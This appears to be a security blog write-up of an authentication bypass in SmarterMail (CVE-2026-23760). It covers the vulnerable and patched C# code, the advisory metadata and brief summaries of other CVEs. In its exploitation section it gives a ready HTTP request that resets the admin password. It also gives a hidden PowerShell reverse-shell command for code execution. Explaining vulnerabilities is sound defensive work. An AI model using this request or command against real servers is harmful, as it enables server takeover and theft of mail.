Jan 28, 2026·5 min read·39 visits
If you run SmarterMail (versions < Build 9511), anyone can become your system administrator by sending a single JSON packet. Once they are admin, they can execute OS commands via the 'Volume Mounts' feature. It's a 9.8/10 on the panic scale.
A critical authentication bypass in SmarterTools SmarterMail allows unauthenticated attackers to reset the administrator password by simply telling the API they are an administrator. This leads to immediate remote code execution via built-in management features.
SmarterMail by SmarterTools is one of those ubiquitous pieces of software that quietly powers the internet's underbelly. It's an Exchange alternative for Windows and Linux, popular among MSPs and mid-sized businesses who look at Microsoft's licensing fees and say, "No thanks."
Because it handles email, it sits on the perimeter, usually exposing ports 80, 443, and its management interface (default 9998) to the entire world. It holds the keys to the kingdom: password resets, confidential communications, and 2FA tokens.
In January 2026, researchers found that this digital fortress had left the back door not just unlocked, but wide open with a neon sign pointing to it. CVE-2026-23760 isn't a complex memory corruption bug; it's a logic flaw so fundamental it hurts.
The vulnerability resides in the force-reset-password API endpoint. Ideally, a password reset function should require one of two things: the old password (to prove you are who you say you are) or a secure token (to prove you have access to the recovery email).
SmarterMail implemented these checks for normal users. However, for system administrators, the developers took a shortcut. The API accepts a JSON payload containing a boolean flag called IsSysAdmin.
Here is the logic flaw in plain English: If the request says IsSysAdmin: true, the code assumes the caller is authorized to perform the reset. It skips the "Old Password" check entirely. It's the digital equivalent of walking into a bank vault while wearing a t-shirt that says "I work here," and the security guards just waving you through.
Let's look at the decompiled C# code from the AuthenticationController. This is where the magic happens—or rather, where the tragedy unfolds.
The Vulnerable Code (Pre-Build 9511):
public new ResetPasswordResult ForcePasswordReset(ForceResetPasswordInputs inputs, string hostname)
{
// ... setup code ...
// CRITICAL FLAW: Trusting user input blindly
if (inputs.IsSysAdmin)
{
// Retrieve the admin account by username (provided by attacker)
var admin = SystemRepository.Instance.AdministratorGetByUsername(inputs.Username);
// Create an update object with the NEW password (provided by attacker)
var item = new db_system_administrator
{
guid = admin.guid,
Password = inputs.NewPassword,
password_history_hashed = dictionary
};
// Commit to database without verifying OldPassword or Token!
SystemRepository.Instance.AdministratorUpdate(item, ...);
}
// ...
}See that empty space before AdministratorUpdate? That's where the security check should be. The code implicitly trusts that if you claim to be doing a SysAdmin reset, you must know what you're doing.
The Fix (Build 9511):
The patch is a single if statement that validates the OldPassword even for admins.
if (inputs.IsSysAdmin)
{
// THE FIX: Validate the existing credentials first
if (!db_system_administrator_readonly.ValidatePassword(inputs.OldPassword, null))
{
return new ResetPasswordResult
{
Success = false,
Message = "Invalid input parameters"
};
}
// ... proceed to update ...
}Exploiting this is trivially easy. You don't need shellcode, you don't need heap spraying. You just need curl.
Step 1: The Takeover
Send a POST request to the API. We set IsSysAdmin to true and provide the default administrator username (admin). We can put garbage in OldPassword because the server ignores it.
POST /api/v1/auth/force-reset-password HTTP/1.1
Host: target-mail-server:9998
Content-Type: application/json
{
"IsSysAdmin": "true",
"OldPassword": "ignored_garbage",
"Username": "admin",
"NewPassword": "Hacked!123",
"ConfirmPassword": "Hacked!123"
}If successful, the server responds with 200 OK and a debug string containing check8.2. Congratulations, you are now the admin.
Step 2: The Execution (RCE)
SmarterMail has a feature called "Volume Mounts" that allows admins to map drives. Historically, mail server admins often need to execute scripts. SmarterMail allows this via the interface.
An attacker simply logs in with the new password, navigates to Settings -> Volume Mounts, and configures a new mount point. In the command field, they inject an OS command:
cmd.exe /c powershell -nop -w hidden -e <base64_reverse_shell>
Upon saving, the service executes this command as NT AUTHORITY\SYSTEM on Windows or root on Linux. Game over.
The impact here cannot be overstated. We are talking about unauthenticated Remote Code Execution (RCE) on an email server.
CISA added this to their KEV catalog just days after the exploit went public. If you see this open on the internet, it is likely already compromised.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
SmarterMail SmarterTools | < Build 9511 | Build 9511 |
| Attribute | Detail |
|---|---|
| CWE | CWE-288 (Auth Bypass) |
| CVSS v3.1 | 9.8 (Critical) |
| Attack Vector | Network (API) |
| Privileges Required | None |
| User Interaction | None |
| Exploit Status | High (Active Exploitation) |
| EPSS Score | 0.51 (97th Percentile) |
Authentication Bypass Using an Alternate Path or Channel
CVE-2026-48708 details a critical concurrency synchronization flaw in OliveTin versions < 3000.13.0. A shared package-level text/template.Template instance is accessed concurrently across multiple goroutines without proper synchronization. When concurrent request processing occurs, a race condition causes Go runtime panics or command contamination across separate sessions, enabling denial of service or execution of contaminated commands.
A missing authorization vulnerability in the OliveTin system allows unauthenticated remote actors to query the ValidateArgumentType RPC endpoint. By exploiting this flaw, attackers can execute systematic brute-force and side-channel validation attacks to enumerate active action binding IDs, parameter structures, and operational metadata, bypassing configured guest authentication barriers.
An observable timing discrepancy vulnerability (CWE-208) in Filament's administrative login page allows unauthenticated remote attackers to determine the existence of registered email addresses. This timing side-channel arises from short-circuiting logic that skips expensive password hashing checks when a queried email address is not found in the database. Attackers can execute statistical timing attacks to map active administrator accounts, facilitating subsequent targeted brute-force or credential-stuffing campaigns.
Filament's ImageColumn (used in tables) and ImageEntry (used in infolists) components render database values inside HTML attributes without validation or sanitization. This allows an attacker to inject arbitrary HTML attributes, leading to Stored Cross-Site Scripting (XSS).
The Netty incubator codec for Oblivious HTTP (OHTTP) fails to verify that a cryptographically signed final chunk is received before the outer HTTP body terminates. This missing validation allows an on-path adversary to truncate chunked-OHTTP messages cleanly at a non-final chunk boundary, leading to undetected data truncation and compromising message integrity. The vulnerability affects multiple versions of the maven package io.netty.incubator:netty-incubator-codec-ohttp prior to 0.0.22.Final.
Prior to version 4.1.4, phpMyFAQ used the cryptographically broken SHA-1 algorithm to hash custom attachment encryption keys stored in the database. Attackers with database access can recover these plaintext keys through offline brute-force attacks and subsequently decrypt sensitive file attachments.